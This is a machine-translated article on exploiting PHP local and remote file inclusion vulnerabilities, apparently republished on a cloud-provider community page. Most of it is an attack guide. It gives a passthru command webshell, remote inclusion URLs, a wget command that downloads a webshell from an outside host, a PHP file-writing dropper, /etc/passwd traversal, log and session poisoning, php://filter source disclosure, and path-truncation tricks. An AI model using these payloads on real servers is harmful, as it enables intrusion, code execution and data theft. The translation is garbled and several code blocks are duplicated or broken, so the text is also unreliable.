System Security: PHP file inclusion vulnerability details

Source: Internet
Author: User
The answer is: when the server uses the php feature (function) to include any file, the source of the file to be included is not strictly filtered, so that it can contain a malicious file, we can construct this malicious file to achieve the evil purpose.

1. what is "remote file inclusion vulnerability "?

The answer is: when the server uses the php feature (function) to include any file, the source of the file to be included is not strictly filtered, so that it can contain a malicious file, however, we can construct this malicious file to achieve evil purposes.

Dangerous functions involved: include (), require (), include_once (), require_once ()

Include: contains and runs the specified file. When an error occurs in the contained external file, the system gives a warning, but the entire php file continues to be executed.

Require: The only difference from include is that when an error is generated, the request will continue to run under include and stop running.

Include_once: This function works almost the same as the include function, but it checks whether the file is imported before the function is imported. If it has already been executed, it will not be repeated.

Require_once: the difference between this function and require is the same as include and include_once mentioned above. So I won't repeat it.

Php. ini configuration file: allow_url_fopen = off: remote files cannot be included. Php4 exists remotely and locally, and php5 exists locally only.

2. why File inclusion?

When programmers write programs, they do not like to do the same thing or write the same code (such as some common functions) several times, therefore, the public code is written in a separate file, such as share. php, and then include the call in other files. In php, we use the functions listed above to achieve this goal. the workflow is as follows. php contains share. php, I will write include ("share. php), and then you can use share. php functions, such as the name of the file that needs to be written to death, have no problems or vulnerabilities. So what exactly is the problem?

Sometimes you may not be sure which file to include. for example, let's look at the index. php code of the file below:

If ($ _ GET [page]) {

Include $ _ GET [page];

} Else {

Include "home. php ";

}

A piece of PHP code is normal. how does it work?

The format of the above code may be as follows:

Http://hi.baidu.com/m4r10/php/index.php? Page = main. php or

Http://hi.baidu.com/m4r10/php/index.php? Page = downloads. php

Based on the above code, let's briefly describe how it works:

1. submit the URL above and obtain the value of this page in index. php ($ _ GET [page]).

2. check whether $ _ GET [page] is empty. if it is not empty (main. php here), use include to include this file.

3. if $ _ GET [page] is empty, run else to include the "home. php" file.

3. Why is there a vulnerability?

You may want to say that this is good. it is very convenient to dynamically include files according to URLs. how can this cause a vulnerability? The answer to the question is: we are not clever, we always like to be different from others, we will not follow his link to operate, we may want to write their own files to contain (call, for example, we will randomly enter the following URL: http: // hi.baidu.com/m4r10/php/index. php? Page = hello. php. Then our index. the php program is silly and follows the steps above to execute: Get page as hello. php, and then go to include (hello. php), then the problem occurs, because we do not have hello. php file, so it will report a warning when it is included, similar to the following information:

Warning: include (hello. php) [function. include]: failed to open stream: No such file or directory in/vhost/wwwroot/php/index. php on line 3

Warning: include () [function. include]: Failed opening 'Hello. php 'for declaration (include_path = '.: ') in/vhost/wwwroot/php/index. php on line 3

Note that the preceding Warning cannot find the specified hello. the PHP file, that is, the file that does not contain the specified path. the following warning is that the specified file is not found before, so a warning is given when the file is included.

4. how to use it?

As we can see above, there is a problem, so how can we use such a vulnerability? there are actually a lot of exploitation methods, but they are essentially similar. here I will talk about three common exploitation methods:

1. including reading other files on the target machine

As we can see above, because the obtained parameter page is not filtered, we can randomly specify other sensitive files on the target host, such as in the previous warning, we can see the exposed absolute path (vhost/wwwroot/php/), so we can detect multiple times to include other files, such as specifying the URL: http://hi.baidu.com/m4r10/php/index. php? Page =. /txt.txtcan be used to read the txt file from the current directory .. /.. /perform directory jump (without filtering .. /); you can also directly specify the absolute path to read sensitive system files, such as this URL: http://hi.baidu.com/m4r10/php/index. php? Page =/etc/passwd. if the target host does not have strict permission restrictions, or the Apache startup permission is relatively high, you can read the content of this file. Otherwise, a Warning similar to open_basedir restriction in effect. will be obtained (this is because the access directory is restricted in apache open_basedir ).

2. remote files contain runnable PHP Trojans

If the "allow_url_fopen" of the target host is activated (activated by default, but few will modify it), we can have a larger space for use, we can specify a webshellcontaining PHP code on other URLs for direct operation. for example, I first write the PHP code of the runtime command, for example, save it as cmd.txt (the suffix is not important, as long as the content is in the PHP format ).

If (get_magic_quotes_gpc ()){

$ _ REQUEST ["cmd"] = stripslashes ($ _ REQUEST ["cmd"]);} // remove the escape character (the backslash character in the string can be removed)

Ini_set ("max_execution_time", 0); // set the execution time for this file. 0 is unlimited.

Echo "M4R10 start line"; // The start line message returned by the print

Passthru ($ _ REQUEST ["cmd"]); // run the command specified by cmd

Echo "M4R10 end row"; // The Returned end row message

>

The purpose of the above file is to accept the command specified by cmd and call the passthru function for execution. the content is returned between the M4R10 start line and M4R10 end line. Save this file to the server on our host (it can be a host that does not support PHP), as long as it can be accessed through HTTP, for example, the address is http://www.xxx.cn/#.txt. then we can construct urlto facilitate the application in this example:

A http://hi.baidu.com/m4r10/php/index. php? Page = http://www.xxx.cn/cmd.txt? Cmd = ls

Cmd is followed by the command you need to execute. other commonly used commands (take * UNIX as an example) are as follows:

Ll column directory and File (equivalent to dir in Windows)

Pwd to view the current absolute path

Id whoami view current user

Wget downloads the file of the specified URL

Wait for others. go to BAIDU to find the host.

3. contains a php file for creating a file (commonly used)

Some people may think that it is more reassuring to get a real Webshell on the target machine. if someone finds that the vulnerability is fixed, we can no longer remotely include the "pseudo" Webshell above, right? We can understand this mentality. let's continue. To get a real Webshell, we also talk about two common methods:

1) use commands such as wget to download a Webshell

This is simple and often used. in the pseudo webshell we obtained above, we can execute commands, so we can also call a very powerful role in the system, wget, this command is powerful. you can use google to get a lot of parameters, and it will definitely confuse you. haha, we don't need to be so complicated. we will use a-O (-output-document = FILE, write the document to the FILE.

The premise is that you put a Webshell containing PHP code in a place that can be accessed through HTTP or FTP, such as http://www.xxx.cn/m4r10.txt. the content of webshellis written in this file. Then, execute the following URL in the pseudo Webshell obtained above:

Http://hi.baidu.com/m4r10/php/index.php? Page = http://www.xxx.cn/cmd.txt? Cmd = wget http://www.xxx.cn/m4r10.txt-O m4r10. php

If the current directory is writable, you can get a Webshell named m4r10. php. if the current directory cannot be written, you need to find another method.

2) use files to create

The previous wget may encounter a situation where the current directory cannot be written; or the command is disabled (or not installed) on the target host, and we need to modify it again, we can combine the previous file inclusion vulnerability to include a PHP script for creating a file (writing a file). The content is as follows:

  

$ F = file_get_contents ("http://www.xxx.cn/m4r10.txt”); // open the file stream in the specified path

$ Ff = fopen ("./upload/m4r10. php", "a"); // you can find a directory and create a file.

Fwrite ($ ff, $ f); // write the previously opened file stream to the created File

Fclose ($ ff); // Close the save file

?> $ F = file_get_contents ("http://www.xxx.cn/m4r10.txt”); // open the file stream in the specified path

$ Ff = fopen ("./upload/m4r10. php", "a"); // you can find a directory and create a file.

Fwrite ($ ff, $ f); // write the previously opened file stream to the created File

Fclose ($ ff); // Close the save file

> $ F = file_get_contents ("http://www.xxx.cn/m4r10.txt”); // open the file stream in the specified path

$ Ff = fopen ("./upload/m4r10. php", "a"); // you can find a directory and create a file.

Fwrite ($ ff, $ f); // write the previously opened file stream to the created File

Fclose ($ ff); // Close the save file

>

Or write the PHP file we downloaded with wget, but we improved the method and implemented it with the php script. can we use the above cmd. PHP? Cmd = ll: Find the writable directory, such as upload, and create the file under this directory:./upload/m4r10. php. Then we can get our Webshell.

4. local file inclusion (commonly used)

Typical vulnerability code:

  

Include ($ _ GET ['Pages '].'. php ');

?> Include ($ _ GET ['Pages '].'. php ');

> Include ($ _ GET ['Pages '].'. php ');

>

Black box judgment method:

The file inclusion vulnerability may exist when the URL contains keywords such as path, dir, file, pag, page, archive, p, eng, and language files.

Use of local inclusion vulnerabilities (ignore truncation first, and the truncation method will be removed below)

1. it is ideal to include jpg, txt, rar, and other files uploaded on the same server.

2. logs containing the system, such as apache logs and file system logs. when the apache record format is combined, the logs are usually large and cannot be included successfully. There are automated attack programs that contain logs.

The ghost blog mentioned a space issue. See: the evil space-PHP local file contains the new breakthrough vulnerability http://huaidan.org/archives/1144.html

To solve the space problem, you can encrypt a sentence with base64 before writing it.

3. environment variables include/proc/self/environ. the session information for accessing the web and parameters for user-agent. The user-agent can be modified on the client. Reference: Shell via LFI-proc/self/environ method

Http://hi.baidu.com/root_exp/blog/item/9c0571fc2d42664fd7887d7d.html

4. contains files, caches, templates, and other files generated by php programs. open-source programs have a high success rate.

5. to use local inclusion to read PHP sensitive files, PHP5 or a later version is required. The source code of "config" is as follows:

Index. php? Pages = php: // filter/read = convert. base64-encode/resource = config

In special cases, the readfile () function is used not to include execution. you can directly read the source code.

6. use the phpinfo page getshell. Generally, the chances of phpinfo in a web group of large organizations are quite high.

Poc and introduction reference:

LFI temporary file using phpinfo information

Http://hi.baidu.com/idwar/blog/item/43101de153370126279791f2.html

7. if a php file contains an error or contains an uninitialized variable, the variable may be attacked again as long as it is not initialized. for details, see:

Include () local file inclusion vulnerability

Http://www.2cto.com/Article/200809/29748.html

8. cross-site use

Index. php? Pages = http: // 127.0.0.1/path/xss. php? Xss = phpcode (domain information should be considered)

9. contains temporary files. This method is very troublesome. Refer:

POST method uploads

Http://www.php.net/manual/en/features.file-upload.post-method.php

Solution to temporary file deletion: slow connection (note: The premise is file_uploads = On, max_file_uploadsphp.ini file_uploads = On is added in 5.3.1, and max_file_uploads is added in 5.3.1. by default, up to 20 files can be uploaded)

Windows format: windows has a maximum of four random characters ('A'-'Z', 'A'-'Z', '0'-'9'), such as: c: /windows/temp/php3e. tmp

Linux Format: 6 random characters ('A'-'Z', 'A'-'Z', '0'-'9'), for example:/tmp/phpUs7MxA

For two types of slow connection Upload code, refer:

PHP Security LFI vulnerability GetShell method parade

Http://www.myhack58.com/Article/html/3/62/2011/32008_2.htm

10. when the write permission directory cannot be found, inject the directory into the log to find the write permission directory. For example, inject to log.

Linux: index. php? Pages =/var/log/apache/logs/error_log % 00 & x =/& y = uname

Windows: index. php? Pages = .. \ apache \ logs \ error. log % 00 & x =. & y = dir

For details, refer to PHP local file inclusion (LFI) vulnerability exploitation.

Http://kingbase.org/blog/php_local_file_inclusion_exploit

11. use php wrapper, such as php: // input, php: // filter, and data: // include files in PHP 5.2.0 and allow_url_include // The allow_url_include and allow_url_include mentioned in the http://blog.php-security.org/archives/45-PHP-5.2.0-and-allow_url_include.html only protects against URL handles from being marked as URL. this affects http (s) and ftp (s), but does not affect the url formats such as php or date.

12. LFI checks whether a directory exists and a column Directory, for example

** Index. php? Pages = .. /.. /.. /.. /.. /.. /var/www/dossierexistant /.. /.. /.. /.. /.. /etc/passwd % 00

** This method can be completely judged on TTYshell, but sometimes it is not feasible on the URL. Even if dossierexistant does not exist, passwd content can be displayed.

Index. php? Pages = .. /.. /.. /.. /.. /.. /var/www/dossierexistant /.. /.. /.. /.. /.. /etc/passwd % 00

** FreeBSD "directory listing with PHP file functions" http: // websec... Ress.com/2009... Php-file-functions/column Directory

** If the directory does not exist, the header. php + File not found + footer. php will be returned if the directory does not exist. This logic fits the programmer's habits. I used to find a directory with deep logs to get the shell.

13. contains the SESSION file. the default location of the php save format sess_SESSIONID is/tmp/(PHP Sessions),/var/lib/php/session/(PHP Sessions) /var/lib/php5/(PHP Sessions) and c:/windows/temp/(PHP Sessions.

14. Include/proc/self/cmdline or/proc/self/fd/find the log file (the owner is root, and root is required by default)

For details, refer:

Local File transfer Sion-Tricks of the Trade

Http://labs.neohapsis.com/2008/07/21/local-file-inclusion-%E2%80%93-tricks-of-the-trade/

Others include/var/log/auth. log, but this file is 644 by default.

15. the method that contains the usual location of maillog/var/log/maillog is also very weak. for details, refer:

Local file compression Sion tricks

The link cannot be found.

16. contains a fixed file, which is very weak and can be extracted for integrity. Such as man-in-the-middle attacks.

Break through the limit and truncate the string behind it

When local inclusion is used, % 00 is often used to truncate the subsequent string, but % 00 is escaped when GPC is ON. Is there any other method?

Use a certain number of/break through the operating system's limit on the length of the file name to truncate the following string (it is estimated that the relative path is available)

View the vulnerability code:

  

$ Webpath = dirname (_ FILE __)."/";

$ Filepath = "test.txt ";

For ($ I = 1; $ I <$ webpath = dirname (_ FILE __)."/";

$ Filepath = "test.txt ";

For ($ I = 1; $ I <$ webpath = dirname (_ FILE __)."/";

$ Filepath = "test.txt ";

For ($ I = 1; I I <1000; $ I ++ ){

$ Filepath. = '.';

}

Include $ webpath. $ filepath. ". php ";

>

Test.txt code:

Failed to truncate the result. modify the code:

  

$ Webpath = dirname (_ FILE __)."/";

$ Filepath = "test.txt ";

For ($ I = 1; $ I <$ webpath = dirname (_ FILE __)."/";

$ Filepath = "test.txt ";

For ($ I = 1; $ I <$ webpath = dirname (_ FILE __)."/";

$ Filepath = "test.txt ";

For ($ I = 1; I I <1000; $ I ++ ){

$ Filepath. = '.';

}

Include $ filepath. ". php"; // relative path

>

This operation is successful.

The above is the method in windows. In fact, linux can also:

  

$ A = '';

For ($ I = 0; $ I <$ a = '';

For ($ I = 0; $ I <$ a = '';

For ($ I = 0; $ I <= 4071; $ I ++ ){

$ A. = '/';

}

$ A = 'test.txt '. $ a; // the complete path is/var/www/test/test.txt.

Require_once ($ a. '. php ');

>

Include truncation

  

Include $ _ GET ['action']. ". php ";

?> Include $ _ GET ['action']. ". php ";

> Include $ _ GET ['action']. ". php ";

>

"% 00" in "action =/etc/passwd % 00" will be truncated. php ", but is there any other character except" % 00 "that can be truncated?

Someone must have thought of the question mark "?" in the remotely included url. By submitting "action = http://www.hacksite.com/evil-code.txt ?" Here "?" Implementation of "pseudo truncation" :), as if this looks not so comfortable, then we simply write a code fuzz:

  

////////////////////

/// Var5.php code:

/// Include $ _ GET ['action']. ". php ";

/// Print strlen (realpath ("./") + strlen ($ _ GET ['action']);

///////////////////

Ini_set ('max _ execution_time ', 0 );

$ Str = '';

For ($ I = 0; $ I <////////////////////

/// Var5.php code:

/// Include $ _ GET ['action']. ". php ";

/// Print strlen (realpath ("./") + strlen ($ _ GET ['action']);

///////////////////

Ini_set ('max _ execution_time ', 0 );

$ Str = '';

For ($ I = 0; $ I <////////////////////

/// Var5.php code:

/// Include $ _ GET ['action']. ". php ";

/// Print strlen (realpath ("./") + strlen ($ _ GET ['action']);

///////////////////

Ini_set ('max _ execution_time ', 0 );

$ Str = '';

For ($ I = 0; I I <50000; $ I ++)

{

$ Str = $ str ."/";

$ Resp = file_get_contents ('http: // 127.0.0.1/var/var5.php? Action=1.txt '. $ str );

// The code in 1.txt is print 'hi ';

If (strpos ($ resp, 'hi ')! = False ){

Print $ I;

Exit;

}

}

>

Tested character ". ","/", or a combination of two characters will be truncated at a certain length. the length of the win system is different from that of the * nix system. when the strlen (realpath (". /") + strlen ($ _ GET ['action']) is truncated when the length is greater than 256. for * nix, the length is 4*1024 = 4096. You can use the above technique to include local files when setting Remote File Close in php. ini. (This vulnerability was first discovered by cloie # ph4nt0m.org])

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.